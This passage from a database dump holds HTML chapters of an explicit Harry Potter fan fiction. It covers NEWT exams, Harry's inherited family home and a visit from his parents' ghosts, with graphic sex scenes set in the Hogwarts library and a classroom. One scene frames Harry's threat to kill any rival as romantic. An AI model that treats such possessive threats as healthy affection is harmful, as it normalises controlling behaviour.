kiss.</p>\n\n<p>Then, something strange happened.&nbsp; Hermione stopped moving and evicted his member from her silky depths.&nbsp; He stared at her in shock, but she just grinned and turned around.&nbsp; Hermione leaned forward and thrust her rear end out for him, presenting herself to him wantonly.</p>\n\n<p>&#8220;Harry&#8230;&#8221; she cooed and looked at him over her shoulder.</p>\n\n<p>&#8220;Um&#8230;yeah?&#8221; he said and gulped.&nbsp; What he heard next would cause him many sleepless nights in the future.</p>\n\n<p>&#8220;Fuck me, Harry, fuck me now!&#8221;</p>\n\n<p>Before his brain could even contemplate her words, his body sprung into action, and he buried his shaft deep into her inner recesses.&nbsp; Oh man, she was so hot and tight today; he was certain his head was about to explode.&nbsp; She&#8217;d lost it, and he followed right along with her.&nbsp; Harry leaned over her back and reached under her to cup her breasts once again.</p>\n\n<p>&#8220;I&#8217;ll fuck you, Hermione, deep and hard.&#8221;</p>\n\n<p>Their bodies clashed together over and over again as they allowed their unrestrained lust for each other to fuel their intense coupling.</p>\n\n<p>&#8220;Harry&#8230;I&#8230;I can&#8217;t take it&#8230;I&#8217;m gonna&#8230;&#8221; Hermione shrieked in utter abandon, and her body trembled from a massive orgasm.</p>\n\n<p>&#8220;Yes&#8230;Hermione&#8230;you can&#8230;take it all&#8230;&#8221; and Harry exploded into her depths.&nbsp; Her body squeezed him over and over, milking every drop he had to give her.</p>\n\n<p>The two lovers panted heavily as their bodies slowly came back to normal.&nbsp; Harry withdrew from her hot cavern and slid her panties back into place.&nbsp; Hermione turned around with a wide smile on her face and tucked him back into his pants.</p>\n\n<p>&#8220;Hmm, thank you, love, that was just what I needed,&#8221; she giggled, and Harry almost fell over.</p>\n\n<p>&#8220;You&#8217;re such a naughty girl, Hermione.&#8221;</p>\n\n<p>&#8220;And you love me for it.&#8221;</p>\n\n<p>&#8220;Do I ever!&#8221; and he kissed her softly.</p>\n\n<p>The two readjusted their clothing, and Hermione tapped their heads with her wand again.</p>\n\n<p>&#8220;Ron and Lavender should be there by now; let&#8217;s go&#8221; and he took her hand.</p>\n\n<p>&#8220;Hey Harry, did you mind&#8230;that we did this?&#8221; Hermione asked nervously.&nbsp; She couldn&#8217;t believe how blatant she&#8217;d been &#8211; and in the library!&nbsp; Harry smirked and shook his head.</p>\n\n<p>&#8220;Not at all, sweetheart, I like it when you&#8217;re bad,&#8221; he chuckled.</p>\n\n<p>Hermione&#8217;s jaw dropped, and he dragged her back towards their table.</p>\n\n<p>Author&#8217;s Notes:&nbsp; Well, we&#8217;re almost there.&nbsp; Maybe one or two more chapters at the most.&nbsp; I&#8217;m not sure yet whether I&#8217;m going to do an epilogue for this trilogy, but I don&#8217;t see why I couldn&#8217;t.&nbsp; Thanks!</p> '),
	(244, 23, ' <p>Ron and Lavender kept staring at them all night.&nbsp; Both Harry and Hermione had the same stupid grin on their face, and every time they looked at each other, they started laughing.</p>\n\n<p>Somehow, they actually managed to get their studying done.&nbsp; Ron was helping Lavender finish up with her Divination work, while Hermione was showing Harry some test-taking tips for Potions.&nbsp; By the time they finished, it was just about dinnertime; they&#8217;d actually studied right through lunch and all afternoon.</p>\n\n<p>&#8220;Bloody hell, I can&#8217;t believe we&#8217;ve been in here all day; I&#8217;m absolutely famished!&#8221; Ron stated and rubbed his growling stomach.</p>\n\n<p>&#8220;What do you say, Herm, should we call it a night?&#8221; Harry asked and covered a yawn with his hand.</p>\n\n<p>&#8220;Sure, I&#8217;m hungry too.&#8221;</p>\n\n<p>The four friends cleaned up their scattered books and parchment before heading towards the Great Hall.</p>\n\n<p>The final weeks at Hogwarts saw all of the sixth and seventh years scattered throughout the library cramming for the NEWTs.&nbsp; Thanks to Hermione&#8217;s insistence that they begin studying early, even Ron found that he had time to go over everything he needed.&nbsp; It was a mad dash to the finish as the fateful day finally arrived; one final test for the students.</p>\n\n<p>Harry scratched his head as he stared at the test in front of him.&nbsp; He was taking his final NEWT in Advanced Arithmacy, and he wished that Hermione were in here with him.&nbsp; Just being around her made him feel smarter.&nbsp; Unfortunately, she had her flying NEWT right now, and he only hoped that she didn&#8217;t get nervous.&nbsp; He wouldn&#8217;t see her for several hours because she still had two left after her current test.</p>\n\n<p>Harry pinched the bridge of his nose and cleared his head.&nbsp; He was on the final few questions, and he took a deep breath.&nbsp; His mind refocused, and he wrote down the answers.</p>\n\n<p>Stepping out of the classroom, Harry let out a very long breath.&nbsp; He couldn&#8217;t believe it; he was actually finished at Hogwarts!&nbsp; In a way, he felt very sad, but he also felt anxious about what the future would bring.</p>\n\n<p>&#8220;Harry, did you just finish?&#8221; Sirius asked as he approached his godson.</p>\n\n<p>&#8220;Yeah.&nbsp; By Merlin, am I glad that&#8217;s over.&nbsp; I&#8217;m gonna owe Hermione a month of foot massages after all the help she gave me.&#8221; Sirius chuckled at the young wizard.</p>\n\n<p>&#8220;Professor Dumbledore wants to see you, Harry.&nbsp; There is something that requires your attention; it is of most importance.&#8221;</p>\n\n<p>Harry immediately dropped his tired act, and his battle instincts kicked in.</p>\n\n<p>&#8220;What&#8217;s wrong?&nbsp; Has something happened?&nbsp; Did more Death Eaters show up somewhere?&#8221;</p>\n\n<p>Sirius just grinned widely.</p>\n\n<p>&#8220;Why don&#8217;t you come find out?&#8221;</p>\n\n<p>The column of stairs brought Harry and Sirius up into Dumbledore&#8217;s office, and the headmaster was there waiting for them.</p>\n\n<p>&#8220;Ah Harry, I see that you&#8217;ve finished the last of your NEWTs; I&#8217;m sure you did quite well.&nbsp; Sirius has told you that there is something important that requires your attention.&#8221;</p>\n\n<p>&#8220;What has happened, sir?&nbsp; Has there been another Death Eater attack?&#8221;</p>\n\n<p>Dumbledore smiled broadly at the young man.&nbsp; He saw the young man&#8217;s shoulders tensed, ready for whatever the problem was.</p>\n\n<p>&#8220;Not at all, Harry, I just have something that belongs to you.&nbsp; It was left in my keeping by your parents.&#8221;</p>\n\n<p>&#8220;My parents,&#8221; he gasped sharply.</p>\n\n<p>&#8220;Indeed&#8230;ah&#8230;here it is,&#8221; and Dumbledore pulled a large, leather satchel out of his desk.</p>\n\n<p>After receiving it, Harry immediately opened the flap on one side and found several documents inside.&nbsp; His eyes skimmed the headlines, and he immediately stopped when he saw the word &#8216;DEED&#8217; written at the top of one of the pages.</p>\n\n<p>&#8220;Professor, what is this?&#8221;</p>\n\n<p>Sirius chuckled slightly at his godson&#8217;s peculiar look.</p>\n\n<p>&#8220;It&#8217;s the deed to your parents&#8217; house, Harry.&#8221;</p>\n\n<p>&#8220;Are you serious?&#8221;</p>\n\n<p>&#8220;Yes, it is the house that you were born in&#8230;&#8221; Sirius gulped slightly and tugged on his collar.</p>\n\n<p>&#8220;&#8230;It&#8217;s also the place where your parents&#8230;were killed&#8230;&#8221;</p>\n\n<p>&#8220;Sirius is correct, Harry.&nbsp; Your parents left the house, as well as the land it resides on, to you in their will.&nbsp; You weren&#8217;t allowed to receive it until you were eighteen, but I wasn&#8217;t sure whether or not you wanted to keep it&#8230;for obvious reasons.&nbsp; If you don&#8217;t want to go back there, I understand.&nbsp; It can be sold easily enough, and you can choose someplace else to-&#8221;</p>\n\n<p>&#8220;I want to go there!&#8221; Harry interrupted.</p>\n\n<p>&#8220;Are you sure, Harry?&#8221; Sirius asked with a nervous expression on his face.&nbsp; His godson sent him a determined glare.</p>\n\n<p>&#8220;Yes.&nbsp; I won&#8217;t let Voldemort claim the rest of life; I won&#8217;t waste my time dwelling on what happened in the past.&nbsp; Regardless of what happened to my parents, that is my home, and I want to see it.&#8221;</p>\n\n<p>After a nod from Dumbledore, Harry disapparated right out of his office.</p>\n\n<p>&#8220;Do you think it was wise to allow him to go back there?&#8221; Sirius asked wearily.</p>\n\n<p>&#8220;It was his decision to make.&#8221;</p>\n\n<p>Harry arrived at a scenic two-story home several miles outside of London.&nbsp; Looking around, it looked much like a country estate, but it was close enough to the city where it wasn&#8217;t completely rural.&nbsp; He took a deep breath and gazed up at his home.</p>\n\n<p>The house itself appeared rather large, but it could never be considered a mansion.&nbsp; It was surrounded by several garden patches in the front as well as tall, maple trees on the sides and in the rear.&nbsp; He looked at the surrounding area and gasped at the beautiful scenery.&nbsp; He&#8217;d not even noticed, but his house was up on a mid-size hill so that you could see for miles in just about every direction.&nbsp; It wasn&#8217;t a steep drop-off &#8211; just enough to be able to look down on the small town nearby.</p>\n\n<p>&#8220;Who are you?&nbsp; What are you doing here?&#8221; came a voice behind him.</p>\n\n<p>In a flash, Harry rolled to the side and sprung to his feet; his wand raised and aimed at his opponent.&nbsp; He saw an old man standing in front of him.&nbsp; His hair was white as well as his beard, but his eyes and posture showed no signs of age.</p>\n\n<p>&#8220;I might ask you the same question, sir.&nbsp; Who might you be?&#8221;</p>\n\n<p>&#8220;I am Julian Parker; I am the groundskeeper here.&nbsp; What business do you have here?&nbsp; I told everyone already; I won&#8217;t allow the Potter&#8217;s estate to be sold &#8211; no matter how much you offer!&#8221;</p>\n\n<p>Harry actually grinned at the old man and lowered his wand.</p>\n\n<p>&#8220;That won&#8217;t be a problem, Mr. Parker; I&#8217;m Harry Potter.&#8221;</p>\n\n<p>&#8220;Hmm&#8230;you look about the right age, but I&#8217;m gonna need some proof.&nbsp; Many an annoying kid been trying to loot the Potter&#8217;s home over the years.&nbsp; Says they want a piece of the place where Voldemort was defeated.&#8221;</p>\n\n<p>Harry liked the old man already.&nbsp; He wasn&#8217;t afraid to say Voldemort&#8217;s name, and he seemed loyal to his mother and father.</p>\n\n<p>&#8220;Very well, if you insist&#8230;&#8221;</p>\n\n<p>Harry lifted his hair off his forehead and showed older man the scar on his brow.&nbsp; Julian&#8217;s eyes widened in shock, but the tension did leave his face.</p>\n\n<p>&#8220;Blimey, it is you, Harry.&nbsp; I&#8217;ve haven&#8217;t seen you since you was a wee lad; you&#8217;re looking good, my boy.&#8221;</p>\n\n<p>&#8220;Thank you.&nbsp; I appreciate you looking after the place; it looks immaculate!&#8221;</p>\n\n<p>&#8220;Hmmph, of course, do people really think I&#8217;d abandon James and Lily just because they died?&nbsp; I knew that you&#8217;d come back here someday, and I&#8217;d make certain it was a home you&#8217;d be proud to come to.&#8221;</p>\n\n<p>Harry reached out his hand, and Julian gladly shook it.</p>\n\n<p>&#8220;Thank you, Mr. Parker, my parents were lucky to have a friend like you.&#8221;</p>\n\n<p>&#8220;On the contrary, I was lucky to have them as friends.&nbsp; Now, why don&#8217;t I show you the house.&#8221;</p>\n\n<p>Harry followed Julian through the front gate and into the house.&nbsp; He could immediately feel his parents&#8217; presence; it permeated the place.&nbsp; He walked through the various rooms, and his heart began to churn with both happiness and sadness.&nbsp; He could feel his mother as he walked through the living room, dining room, and kitchen.&nbsp; Everything was done elegantly but not so overbearing that it appeared snobbish.&nbsp; Harry could feel his father as he walked through the den and to his surprise, a trophy room.&nbsp; Along the walls were awards that James had won at Hogwarts mixed together with pictures of him and his friends, him and Lily, and finally him, Lily, and Harry.</p>\n\n<p>Harry stopped walking and headed over to the mantle where he could see the largest of the pictures; it was his parents&#8217; wedding picture.&nbsp; His mother looked stunning in her dress, and his father looked quite handsome in his tux beside her.&nbsp; Harry grinned as his father was staring at his mother with a look that said, &#8216;How did I ever get a woman like this&#8217;?</p>\n\n<p>&#8220;Your parents were wonderful people, Harry.&nbsp; When you were born, it was like all their dreams came true.&nbsp; This house is filled with their hope, and I wouldn&#8217;t let it die without a fight.&nbsp; I wished that old rascal Dumbledore would&#8217;ve let me look after you, but I understand his reasons for placing you with muggles.&#8221;</p>\n\n<p>&#8220;You know Professor Dumbledore?&#8221;</p>\n\n<p>&#8220;Albus&#8230;course I do, lad.&nbsp; He and I were classmates together at Hogwarts.&nbsp; I wasn&#8217;t nearly as gifted as he was, but I found my knack with Herbology.&nbsp; I love plants and nature; I respect all living things and give them their due right.&nbsp; Your parents believed the same thing; that&#8217;s why I came to work for them.&nbsp; They wanted someone to managed the staff here so&#8230;&#8221;</p>\n\n<p>&#8220;Excuse me, did you say staff?&nbsp; Just how large is this place?&#8221;</p>\n\n<p>&#8220;Well&#8230;let me see&#8230;with the orchards and fields&#8230;I&#8217;d say around 500 acres,&#8221; Julian answered.</p>\n\n<p>&#8220;500 acres!&#8221; Harry gawked.</p>\n\n<p>&#8220;You mean, you manage this whole place yourself!&#8221;</p>\n\n<p>&#8220;Bloody hell, of course not!&nbsp; There are seven wizards on staff here; each of them has their own part to look after.&nbsp; There are also thirty house elves who take care of the basic labor and housework.&#8221;</p>\n\n<p>&#8220;How come I haven&#8217;t seen any?&#8221;</p>\n\n<p>&#8220;Not many of the servants are around anymore.&nbsp; Since your parents&#8217; death, there hasn&#8217;t been a need for a full staff so most of them returned to their own homes down in the town below.&nbsp; The house elves stay in a separate building about a mile from here.&#8221;</p>\n\n<p>&#8220;Julian&#8230;I know this may sound strange, but&#8230;the house elves&#8230;are they treated as just servants or real people?&#8221;</p>\n\n<p>The old man laughed heartily.</p>\n\n<p>&#8220;You sound just like your mother.&nbsp; No, the house elves are not looked down upon; your mother would never stand for that.&nbsp; She&#8217;s the one who gave them their own housing facility.&nbsp; They wear regular Elvin clothing, and each of them is paid for his services here.&#8221;</p>\n\n<p>&#8220;Thank you, Julian, you don&#8217;t know how happy I am to hear that.&#8221;</p>\n\n<p>&#8220;Not at all, Harry, now let me show you the upstairs.&#8221;</p>\n\n<p>Harry found that the upstairs had three bedrooms, a large bathroom, and a nursery.&nbsp; Julian took him towards the master bedroom and stopped at the door.</p>\n\n<p>&#8220;Harry&#8230;no one has been inside this room in quite a while.&nbsp; It still radiates with the evil that was once committed here; I just wanted to let you know.&#8221;</p>\n\n<p>&#8220;It&#8217;s all right; open the door,&#8221; he said with cold determination.</p>\n\n<p>Harry stepped into his parents&#8217; bedroom, and it was as if a part of memory was suddenly torn open.&nbsp; He could see flashbacks of his parents &#8211; their happy faces and pride that they had in him.&nbsp; Then, he came to the darkest memory.&nbsp; He could see the blast of green fire as it struck his mother and heard her cry of agony.&nbsp; He heard Voldemort&#8217;s maniacal laughter and pleasure at seeing her dead.</p>\n\n<p>Julian froze as he saw Harry clench his fists and grit his teeth.&nbsp; Wind blew through the bedroom and whipped around the young wizard.&nbsp; The windows were blown open, and Harry appeared to be staring into nothingness.</p>\n\n<p>&#8220;Voldemort,&#8221; Harry growled, &#8220;You have caused enough damage to this world.&nbsp; Be gone now and never return!&#8221;</p>\n\n<p>Raising his hands, he face his palms at the walls.&nbsp; Julian watched in awe at the power radiating off the young man, but what was he doing?</p>\n\n<p>&#8220;Purificas Diabolante Finato!&#8221;</p>\n\n<p>White light enveloped the room, and Julian swore he heard a demonic scream of pain.&nbsp; As the brightness faded, Harry dropped to one knee and placed his hand on a spot on the floor.&nbsp; It was the exact spot that his mother had fallen.</p>\n\n<p>&#8220;Mother&#8230;thank you for giving me the power to protect those that I love.&nbsp; I promise you and father that I will never let the horror that took you from me to hurt anyone else.&nbsp; You have done your part for this world; now, it is my turn.&#8221;</p>\n\n<p>The brightness return in full force, but this time, it wasn&#8217;t Harry who caused it.&nbsp; A shimmering light floated in front of Harry, and it began to grow in size.</p>\n\n<p>Harry gasped, and tears filled his eyes as he saw the form of his mother and father take shape in front of him.</p>\n\n<p>&#8220;Hello Harry, I see that you have grown into a strong, young man,&#8221; his father said proudly.</p>\n\n<p>&#8220;Father&#8230;Mother&#8230;&#8221;</p>\n\n<p>Julian had never seen anything like this, and he began to cry himself as he saw his old friends one last time.</p>\n\n<p>&#8220;My dear Harry, you have done that which we could not.&nbsp; Thank you so much.&nbsp; We love you more than we could ever say, and we&#8217;re so proud of you.&nbsp; We can finally rest in peace, now that we know that you&#8217;re going to be all right.&#8221;</p>\n\n<p>&#8220;Mom&#8230;I wish you and Dad could stay here.&#8221;</p>\n\n<p>His mother smiled at the plea in his voice, and she smiled softly.</p>\n\n<p>&#8220;So do I, Harry, but we cannot.&nbsp; However, we will never be far apart from you; you carry the both of us in your heart; and that is enough for us.&nbsp; You have found your place in this world, and most importantly, you have someone to share it with.&nbsp; I believe her name is Hermione.&#8221;</p>\n\n<p>&#8220;Yes, she&#8217;s my fianc&#233;.&#8221;</p>\n\n<p>&#8220;We know, Harry, we&#8217;re happy that you found someone to share your life with,&#8221; his father stated.</p>\n\n<p>&#8220;Hermione loves you, Harry, that I know without question, and she is perfect for you.&nbsp; I&#8217;m glad that you won&#8217;t be alone anymore.&nbsp; I wish you both happiness to the end of your days.&#8221;</p>\n\n<p>James then looked past Harry.</p>\n\n<p>&#8220;Hello Julian, my old friend, thank you for looking after the place while we were away.&#8221;</p>\n\n<p>&#8220;Not at all, it gave me something to do,&#8221; the old man chuckled.</p>\n\n<p>Both James and Lily smiled at him.</p>\n\n<p>&#8220;Watch after Harry for us, Julian, he needs your guidance just as we did; he just doesn&#8217;t know it!&#8221; James said with a grin.</p>\n\n<p>&#8220;Certainly, he can&#8217;t be any worse than you were.&#8221;</p>\n\n<p>&#8220;I&#8217;ve missed your humor,&#8221; Lily said with a smile.&nbsp; She then turned back to her son.</p>\n\n<p>&#8220;Our time is at an end, Harry, please know that your father and I love you with all of our hearts.&#8221;</p>\n\n<p>&#8220;I know, mom, I love you just the same.&nbsp; I feel like I should be sad right now, but I&#8217;m not,&#8221; he said truthfully.</p>\n\n<p>&#8220;That&#8217;s good, Harry, it means that you have accepted our passing,&#8221; his father answered.</p>\n\n<p>&#8220;Goodbye, James&#8230;Lily&#8230;until the next time we meet,&#8221; Julian said with a sad but warm smile.</p>\n\n<p>&#8220;Mother&#8230;Father&#8230;&#8221; Harry sighed as tears streamed from his eyes.</p>\n\n<p>&#8220;Goodbye&#8230;our beloved son,&#8221; his parents said as one as they faded away.</p>\n\n<p>Harry wiped his eyes and stood back up; his heart felt so light.&nbsp; He&#8217;d never felt so at peace with himself.&nbsp; He turned around to face Julian, and the old man grinned at him.</p>\n\n<p>&#8220;You&#8217;ve done good, Harry; your parents are at peace.&#8221;</p>\n\n<p>&#8220;I know, but I have a question.&nbsp; What would it take to have the staff return to work here?&nbsp; I have a feeling that this house will back to normal very soon,&#8221; he stated as a plan began to form in his mind.</p>\n\n<p>Julian grinned at his new charge.</p>\n\n<p>&#8220;Blimey, I&#8217;d thought you&#8217;d never ask!&#8221;</p>\n\n<p>Harry chuckled slightly at the old man&#8217;s enthusiasm.&nbsp; His brain churned with ideas of a surprise he could spring on his beloved Hermione.</p>\n\n<p>Author&#8217;s Notes:&nbsp; I know everybody probably thought I up and died.&nbsp; I wanted to have this up by Christmas, but that fell through.&nbsp; I promise not to make you wait this long again!</p> '),
	(244, 24, ' <p>Hogwarts had reached the end of another term, and the first through sixth years were loading up onto the train.&nbsp; The seventh years wouldn&#8217;t be leaving for another week.&nbsp; A tradition at Hogwarts was that the seventh years be given a special ball as a reward for their efforts, and their graduation would take place in a few days.</p>\n\n<p>Harry was summoned to Dumbledore&#8217;s office one final time, but this time, Hermione was asked to come with him.&nbsp; The two lovers headed into the gargoyle-guarded staircase and ascended into the headmaster&#8217;s office.</p>\n\n<p>Albus was perched behind his desk; his glasses hanging off the end of his nose.&nbsp; Harry was surprised to see Professor McGonagall there as well, but none of the other professors were there.</p>\n\n<p>&#8220;Ah&#8230;Harry&#8230;Hermione&#8230;thank you for coming.&#8221;</p>\n\n<p>&#8220;Is there a problem, professor?&#8221; Hermione asked.&nbsp; Harry tried to hide his smug grin from her; he already knew why they were here.</p>\n\n<p>&#8220;Not at all, Miss Granger, Harry had asked for something, and we wanted to get your opinion as well.&nbsp; Harry&#8230;if you would&#8230;&#8221; Dumbledore said, trying not to chuckle.</p>\n\n<p>Harry turned to face his fianc&#233;, and Hermione quirked her eyebrows up at him.</p>\n\n<p>&#8220;Hermione, I know that this is gonna sound really strange, especially with what just happened, but&#8230;I want us to get married&#8230;for real this time.&nbsp; If it was up to me, I&#8217;d wed you tomorrow, but I know that you and your mom have some special things planned.&nbsp; That&#8217;s why, if you&#8217;d like, I&#8217;d like to have it two days after our graduation &#8211; here at Hogwarts.&#8221;</p>\n\n<p>&#8220;Are you serious, Harry?&nbsp; But&#8230;we don&#8217;t have a flat or any place to stay, and what about jobs for the both of us.&nbsp; I thought that we were going to decide upon a career where we could both work together.&nbsp; Why the sudden rush?&#8221;</p>\n\n<p>&#8220;Herm, this is not on a whim.&nbsp; We&#8217;ll have a place to ourselves for the whole summer; that&#8217;s part of my wedding present to you.&nbsp; As for jobs, Professor McGonagall has a rather interesting proposition for you,&#8221; he said with a wide grin.</p>\n\n<p>&#8220;Miss Granger, you have proven yourself to be one of the most accomplished witches that I have ever had the ability to teach,&#8221; McGonagall said proudly, and Hermione blushed.</p>\n\n<p>&#8220;Harry, as well, has proved himself worthy of his reputation, and you have shown your bravery and courage as well,&#8221; Dumbledore added.</p>\n\n<p>&#8220;With the recent attacks by Voldemort and the Death Eaters in the past two years, the Ministry of Magic has begun a new training program at Hogwarts.&nbsp; Hermione, Professor McGonagall would like you to become her apprentice&#8230;or prot&#233;g&#233; if you will.&nbsp; Your official title would be listed as that of a junior professor, and you would assist her in her classes and sometimes perhaps even conduct them in her place.&#8221;</p>\n\n<p>&#8220;Are you serious, ma&#8217;am?&#8221; Hermione nearly gawked, and the older woman gave her a small smile.</p>\n\n<p>&#8220;Minerva chose you specifically, Hermione.&nbsp; In addition, Harry &#8211; despite the fact that he doesn&#8217;t need the training &#8211; would become an apprentice under me.&nbsp; There is another reason why we are asking this of you.&#8221;</p>\n\n<p>Dumbledore paused for a moment and looked up at Minerva.&nbsp; The old man grinned and pushed his glasses up onto his nose.</p>\n\n<p>&#8220;Minerva and I are getting on in years, and we&#8217;d like someone to take our place here at Hogwarts.&nbsp; We&#8217;d be proud if in a few years time, you two would accept that responsibility.&#8221;</p>\n\n<p>Hermione was shocked beyond words, and Harry was stunned as well.&nbsp; He hadn&#8217;t been told that Dumbledore wanted him to replace him as headmaster.</p>\n\n<p>&#8220;Professor Dumbledore&#8230;I&#8230;I don&#8217;t know what to say!&nbsp; I&#8217;d be honor to accept the position, but&#8230;I&#8217;m not quite sure how well I&#8217;ll do.&nbsp; I&#8217;m not very good at teaching others; even Harry gets scared by my tutoring techniques.&nbsp; I don&#8217;t want to disappoint either of you.&#8221;</p>\n\n<p>&#8220;Hermione&#8230;you sound just like me when I was your age,&#8221; Minerva stated.</p>\n\n<p>&#8220;When I&#8217;d been told I&#8217;d been given a position as professor at Hogwarts, I was very nervous myself.&nbsp; However, I know that you can overcome any obstacle you put your mind to.&nbsp; I&#8217;m not asking you to learn everything at once.&nbsp; You&#8217;ll merely develop the skills and knowledge needed in my position.&nbsp; Harry will go through a similar process with Professor Dumbledore.</p>\n\n<p>&#8220;I&#8230;I&#8217;m still not sure&#8230;&#8221; she turned to her fianc&#233;, &#8220;&#8230;Harry, what do you think?&#8221;</p>\n\n<p>He actually had a large smile on his face.</p>\n\n<p>&#8220;What I think, Herm, is that we&#8217;ve been given the perfect job for us.&nbsp; We both love this place, and I know you love the library here.&nbsp; It would only make sense that our careers would begin here as well.&nbsp; I couldn&#8217;t see my life without Hogwarts being a part of it.&nbsp; I know this is a lot to take in, but I think it&#8217;s a great opportunity.&nbsp; You may think that I want to go gallivanting across the world to various places, but I&#8217;d just as soon stay right here.&nbsp; Our lives are anything but normal, Hermione, but Hogwarts is as close to normal as I can think of right now.&nbsp; Am I wrong?&#8221;</p>\n\n<p>&#8220;No, you&#8217;re not.&nbsp; It&#8217;s true; this place is like a home away from home for us.&nbsp; You&#8217;re right, Harry, I love this place as much as you.&#8221;</p>\n\n<p>Hermione turned to face the two professors.</p>\n\n<p>&#8220;Professor McGonagall, I&#8217;d be honored to accept the position&#8230;&#8221; she turned back towards Harry.</p>\n\n<p>&#8220;&#8230;and as far as your question, Mr. Potter, I have no problem with it.&nbsp; I want to be your wife more than anything in the world.&#8221;</p>\n\n<p>Harry drew her into his arms and hugged her tightly.</p>\n\n<p>Dumbledore grinned at the two, young lovers, and McGonagall just rolled her eyes.&nbsp; Yes, they had made a fine choice for their successors.</p>\n\n<p>Their final night at Hogwarts as students came upon them too fast.&nbsp; The seventh years were all headed toward the Great Hall, which had been charmed to look like a giant ballroom.</p>\n\n<p>&#8220;Harry, I can&#8217;t believe you two are actually going to be professors here!&#8221; Ron gasped</p>\n\n<p>&#8220;Well&#8230;not right away at least&#8230;but eventually&#8230;yeah,&#8221; his best friend replied.</p>\n\n<p>&#8220;We&#8217;re only going to be junior professors, Ron,&#8221; Hermione corrected him.</p>\n\n<p>&#8220;Still, it&#8217;s a great honor to be selected personally,&#8221; Lavender added.</p>\n\n<p>The four of them were nearing the Great Hall, and they could already hear the commotion inside.&nbsp; Harry was fidgeting a little; everyone knew that he didn&#8217;t like to dance.&nbsp; However, his eyes strayed to Hermione next to him, and he couldn&#8217;t complain.&nbsp; She looked absolutely stunning.&nbsp; A knee-length, emerald green dress hugged every curve on her body, and it made him want to apparate the two of them back up to their room right now!&nbsp; He tightened his hold on her hand and bent down to kiss her neck.</p>\n\n<p>&#8220;Have I told you how sexy you look tonight?&#8221; he whispered into her ear.</p>\n\n<p>A shudder ran down her spine, and her cheeks tinted slightly.</p>\n\n<p>&#8220;Excuse us,&#8221; she motioned to Ron and Lavender as she pulled Harry into a shadowy alcove.&nbsp; Her friends laughed but continued on their way.</p>\n\n<p>Hermione pressed him against the wall and rubbed her body up against him.</p>\n\n<p>&#8220;Thank you, and that suit makes you look delicious,&#8221; she purred and caressed the silk of his shirt.</p>\n\n<p>Harry groaned and buried his face in her hair.</p>\n\n<p>&#8220;Why did we come down here tonight?&nbsp; I&#8217;d much rather take you upstairs and help you out of that dress,&#8221; he growled.</p>\n\n<p>Hermione felt her knees go weak, but a playful grin appeared on her face.</p>\n\n<p>&#8220;You can later, love, I promise.&nbsp; Besides, I have a surprise for you.&#8221;</p>\n\n<p>&#8220;And what is that?&#8221;</p>\n\n<p>Hermione&#8217;s smile turned absolutely feline, and she licked her lips as she whispered in his ear.</p>\n\n<p>&#8220;What would you do if I told you that I have nothing else on under this,&#8221; she purred.</p>\n\n<p>The torches on the walls flared up as Harry&#8217;s temperature skyrocketed, and the bulge in his pants grew to full size.&nbsp; His hands were twitching, and he was certain that smoke was going to start coming out of his ears.</p>\n\n<p>Hermione giggled as she watched Harry&#8217;s brain short-circuit, and it made her feel incredibly sensual to do this to him.&nbsp; She stroked his face with her hands while her hips wiggled and grinded against the steel ridge in his pants.</p>\n\n<p>&#8220;You want to know what I&#8217;d do!&#8221; Harry suddenly growled, and his eyes snapped open.</p>\n\n<p>Grabbing her hand, he yanked her into a nearby classroom and slammed her against the door.</p>\n\n<p>&#8220;Damn you, Hermione,&#8221; he said just before jamming his tongue down her throat.</p>\n\n<p>To say that she was surprised was an understatement.&nbsp; She was almost frightened at the ferocity in Harry&#8217;s kiss.&nbsp; He was almost punishing her.&nbsp; His hands slid up her back and slid the zipper of her dress down.</p>\n\n<p>&#8216;No&#8230;he wouldn&#8217;t&#8230;&#8217; Hermione gulped, but she couldn&#8217;t bring herself to stop him.&nbsp; She&#8217;d never felt him kiss her like this; it was so hard and possessive &#8211; like he was claiming her.</p>\n\n<p>Pulling back just slightly, he yanked the straps off her shoulders, and the material slid to the floor.&nbsp; He growled as he saw that Hermione&#8217;s words were true; all he found underneath was her.</p>\n\n<p>&#8220;You temptress!&#8221; he hissed into her face.</p>\n\n<p>&#8220;Am I now?&#8221; she challenged, daring him to continue their illicit romp.</p>\n\n<p>&#8220;Yes&#8230;you are&#8230;&#8221; and his mouth closed over her right breast.</p>\n\n<p>He wasn&#8217;t gentle this time, but simply took all that she had, and Hermione thrust her chest out towards his hungry mouth.&nbsp; Harry quickly undid his pants and shoved them to the floor along with his shorts.&nbsp; He hoisted Hermione&#8217;s right leg into the air and slammed into her.</p>\n\n<p>&#8220;Harry!&#8221; she screamed as he penetrated her fully.</p>\n\n<p>He pounded her into the door, and all she could do was hang on for dear life, but it was so damn good!</p>\n\n<p>&#8220;Hermione&#8230;you&#8217;re&#8230;my&#8230;sassy&#8230;bookwormish&#8230;sensuous&#8230;vixen&#8230;&#8221; he punctuated each word with a thrust into her.</p>\n\n<p>Hermione moaned in ecstasy as Harry shagged her senseless.&nbsp; She was so wet that her juices were leaking onto the floor.&nbsp; He pummeled into her opening while his mouth was busy paying homage to her perfect breasts.&nbsp; A quick snap of his fingers ensured no one would hear them, then he grabbed her hips and slammed into her harder than before.</p>\n\n<p>&#8220;You&#8217;re mine, Hermione.&nbsp; No man is ever going to know what a sexy body you have except me.&nbsp; I&#8217;ll kill anyone who dares to touch you,&#8221; he growled.</p>\n\n<p>His words were dangerous, but it only made her hotter.&nbsp; She clenched down on him even harder, and he moaned into her chest.</p>\n\n<p>&#8220;Yes, Harry, I&#8217;m yours&#8230;forever.&nbsp; I don&#8217;t want anyone else to be inside me but you; I only want you to touch me.&nbsp; I won&#8217;t allow any other woman near you either.&nbsp; You&#8217;re mine, Harry Potter, and I&#8217;ll never let anyone take you away from me.&#8221;</p>\n\n<p>Harry chuckled at her submissive and then possessive words.&nbsp; He stared into her burning eyes and saw her love for him.</p>\n\n<p>&#8220;We belong to each other, don&#8217;t we angel?&#8221;</p>\n\n<p>&#8220;Yes, we do, my love.&#8221;</p>\n\n<p>He kissed her long and hard as his thrusts quickened.</p>\n\n<p>&#8220;Good, now&#8230;cum for me, Hermione!&#8221;</p>\n\n<p>&#8220;Harry!&#8221; she cried out as her body soared over the edge.</p>\n\n<p>Harry nuzzled her neck and pulled her hips flush against him as he spilled himself inside her.&nbsp; His legs gave out, and they slid to the floor with him still inside her.</p>\n\n<p>Hermione lifted her face from Harry&#8217;s sweaty neck and giggled as she shook her head.</p>\n\n<p>&#8220;You ruined my surprise, Harry.&#8221;</p>\n\n<p>He panted heavily but tried to glare at her.</p>\n\n<p>&#8220;Herm, after you told me that weren&#8217;t wearing anything under your dress, did you really think that I 